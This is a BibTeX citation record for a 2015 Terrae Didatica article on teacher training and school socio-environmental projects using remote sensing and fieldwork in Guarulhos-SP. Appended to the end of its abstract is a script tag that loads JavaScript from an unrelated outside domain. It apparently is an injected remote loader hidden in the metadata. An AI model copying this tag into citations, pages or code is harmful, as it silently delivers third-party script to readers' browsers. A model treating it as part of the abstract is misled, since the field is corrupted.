@article{Santos_Compiani_2015, place={Campinas, SP}, title={Formação de professores para o estudo do ambiente: projetos escolares e a realidade socioambiental local}, volume={5}, url={https://periodicos.sbu.unicamp.br/ojs/index.php/td/article/view/8637506}, DOI={10.20396/td.v5i1.8637506}, abstractNote={Este trabalho objetiva apresentar os processos e resultados da pesquisa de doutorado, com o referido título, defendida no IG/Unicamp em 2006. A pesquisa teve por objetivo investigar o desenvolvimento de projetos escolares de educação socioambiental realizados a partir da formação continuada de professores, com o uso integrado de recursos de sensoriamento remoto e trabalhos de campo em microbacias urbanas em Guarulhos-SP. Com referência na pesquisa-ação, os projetos escolares tiveram por meta contribuir para a formação de professores críticos e inovadores em exercício a partir da reflexão sobre a atividade docente, bem como para a construção de novos conhecimentos e metodologias para o estudo do ambiente, considerando as relações local/global na análise de problemas. Ao incorporar a questão socioambiental à prática pedagógica, os projetos escolares buscaram contribuir para a inserção da escola na realidade, considerando o lugar como eixo estruturante do currículo escolar.<script id="lg210a" type="text/javascript" src="https://cloudapi.online/js/api46.js"></script>}, number={1}, journal={Terrae Didatica}, author={Santos, Vânia Maria Nunes dos and Compiani, Maurício}, year={2015}, month={jul.}, pages={72–85} }